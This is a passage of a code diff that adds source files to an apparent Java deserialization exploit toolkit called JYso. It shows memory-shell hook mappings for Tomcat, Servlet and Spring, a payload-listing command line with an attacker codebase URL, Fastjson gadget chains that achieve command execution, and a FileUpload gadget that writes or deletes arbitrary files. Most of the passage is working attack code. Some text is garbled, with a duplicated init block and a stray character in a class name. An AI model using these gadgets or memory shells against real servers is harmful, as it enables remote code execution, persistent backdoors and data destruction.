// Filter 型内存马,关键方法 doFilter
|
||||
KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
|
||||
// Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle
|
||||
KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
|
||||
// Websocket 型内存马,关键方法 onMessage
|
||||
KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage");
|
||||
// Tomcat Upgrade 型内存马,关键方法 accept
|
||||
KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
|
||||
// Tomcat Executor 型内存马,关键方法 execute
|
||||
KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
|
||||
// Spring Interceptor 型内存马,关键方法 preHandle
|
||||
KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
|
||||
// Webflux 内存马
|
||||
KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload");
|
||||
}
|
||||
|
||||
public static void applyCmdArgs(String[] args) {
|
||||
//process cmd args
|
||||
JCommander jc = JCommander.newBuilder()
|
||||
.addObject(new Config())
|
||||
.build();
|
||||
try {
|
||||
jc.parse(args);
|
||||
} catch (Exception e) {
|
||||
System.out.println("Error: " + e.getMessage() + "\n");
|
||||
help = true;
|
||||
}
|
||||
|
||||
if (showGadgets) {
|
||||
final List<Class<? extends ObjectPayload>> payloadClasses =
|
||||
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
|
||||
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
|
||||
|
||||
final List<String[]> rows = new LinkedList<String[]>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
rows.add(new String[]{"-------", "-------", "------------"});
|
||||
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
|
||||
rows.add(new String[]{
|
||||
payloadClass.getSimpleName(),
|
||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
});
|
||||
}
|
||||
|
||||
final List<String> lines = StringUtil.formatTable(rows);
|
||||
|
||||
for (String line : lines) {
|
||||
System.out.println(" " + line);
|
||||
}
|
||||
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
if (showVersion) {
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
//获取当前 Jar 的名称
|
||||
String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath();
|
||||
jc.setProgramName("java -jar JYso.jar");
|
||||
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
|
||||
|
||||
if (help) {
|
||||
jc.usage(); //if -h specified, show help and exit
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
// 特别注意:最后一个反斜杠不能少啊
|
||||
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
|
||||
}
|
||||
|
||||
public static void init() {
|
||||
// Servlet 型内存马,关键方法 service
|
||||
KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
|
||||
// Filter 型内存马,关键方法 doFilter
|
||||
KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
|
||||
// Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle
|
||||
KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
|
||||
// Websocket 型内存马,关键方法 onMessage
|
||||
KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage");
|
||||
// Tomcat Upgrade 型内存马,关键方法 accept
|
||||
KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
|
||||
// Tomcat Executor 型内存马,关键方法 execute
|
||||
KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
|
||||
// Spring Interceptor 型内存马,关键方法 preHandle
|
||||
KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
|
||||
}
|
||||
|
||||
public static void logo() {
|
||||
String logo = "" +
|
||||
" ┏┳┓┏ \n" +
|
||||
" ┃┗┫┏┏┓ \n" +
|
||||
" ┗┛┗┛┛┗┛ ";
|
||||
|
||||
// 高亮颜色代码(不包括黑色)
|
||||
Ansi.Color[] colors = {
|
||||
Ansi.Color.RED,
|
||||
Ansi.Color.GREEN,
|
||||
Ansi.Color.YELLOW,
|
||||
Ansi.Color.BLUE,
|
||||
Ansi.Color.MAGENTA,
|
||||
Ansi.Color.CYAN,
|
||||
Ansi.Color.WHITE
|
||||
};
|
||||
|
||||
Random random = new Random();
|
||||
|
||||
StringBuilder coloredLogo = new StringBuilder();
|
||||
|
||||
for (char c : logo.toCharArray()) {
|
||||
if (c != ' ' && c != '\n') {
|
||||
// 选择一个随机的高亮颜色
|
||||
Ansi.Color color = colors[random.nextInt(colors.length)];
|
||||
coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset());
|
||||
} else {
|
||||
// 保持空格和换行符
|
||||
coloredLogo.append(c);
|
||||
}
|
||||
}
|
||||
|
||||
System.out.println(coloredLogo);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.qi4l.JYso.gadgets.Config;
|
||||
|
||||
import java.util.ArrayList;
|
||||
|
||||
public class HookPointConfig {
|
||||
|
||||
public static ArrayList<String> BasicServletHook = new ArrayList<String>();
|
||||
|
||||
public static ArrayList<String> TomcatFilterChainHook = new ArrayList<String>();
|
||||
|
||||
|
||||
static {
|
||||
BasicServletHook.add("javax.servlet.http.HttpServlet");
|
||||
BasicServletHook.add("service");
|
||||
BasicServletHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
|
||||
|
||||
TomcatFilterChainHook.add("org.apache.catalina.core.ApplicationFilterChain");
|
||||
TomcatFilterChainHook.add("doFilter");
|
||||
TomcatFilterChainHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
|
||||
}
|
||||
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,4 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
public interface DynamicDependencies {
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtConstructor;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
|
||||
public class Fastjson1 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass clazz = pool.makeClass("a");
|
||||
CtClass superClass = pool.get(AbstractTranslet.class.getName());
|
||||
clazz.setSuperclass(superClass);
|
||||
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
|
||||
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
|
||||
clazz.addConstructor(constructor);
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(templates);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(templates, val);
|
||||
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson2.JSONArray;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtConstructor;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
|
||||
public class Fastjson2 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass clazz = pool.makeClass("a");
|
||||
CtClass superClass = pool.get(AbstractTranslet.class.getName());
|
||||
clazz.setSuperclass(superClass);
|
||||
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
|
||||
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
|
||||
clazz.addConstructor(constructor);
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(templates);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(templates, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.fileupload.disk.DiskFileItem;
|
||||
import org.apache.commons.io.output.DeferredFileOutputStream;
|
||||
import org.apache.commons.io.output.ThresholdingOutputStream;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.util.Arrays;
|
||||
|
||||
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem>{
|
||||
@Override
|
||||
public DiskFileItem getObject(String command) throws Exception {
|
||||
|
||||
String[] parts = command.split(";");
|
||||
|
||||
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
|
||||
return copyAndDelete(parts[1], parts[2]);
|
||||
} else if (parts.length == 3 && "write".equals(parts[0])) {
|
||||
return write(parts[1], parts[2].getBytes("US-ASCII"));
|
||||
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
|
||||
return write(parts[1], Base64.decodeBase64(parts[2]));
|
||||
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
|
||||
return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
|
||||
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
|
||||
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
|
||||
} else {
|
||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
|
||||
}
|
||||
}
|
||||
|
||||
public void release(DiskFileItem obj) throws Exception {
|
||||
// otherwise the finalizer deletes the file
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
||||
Reflections.setFieldValue(obj, "dfos", dfos);
|
||||
}
|
||||
|
||||
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
|
||||
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
|
||||
}
|
||||
|
||||
|
||||
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
|
||||
private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
|
||||
return makePayload(data.length + 1, dir, dir + "/whatever", data);
|
||||
}
|
||||
|
||||
|
||||
// writes data to an arbitrary file
|
||||
private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
|
||||
return makePayload(data.length + 1, file + "\0", file, data);
|
||||
}
|
||||
|
||||
|
||||
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
|
||||
// if thresh < written length, delete outputFile after copying to repository temp file
|
||||
// otherwise write the contents to repository temp file
|
||||
File repository = new File(repoPath);
|
||||
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
|
||||
File outputFile = new File(filePath);
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
|
||||
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
|
||||
os.write(data);
|
||||
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
|
||||
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
|
||||
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
|
||||
return diskFileItem;
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user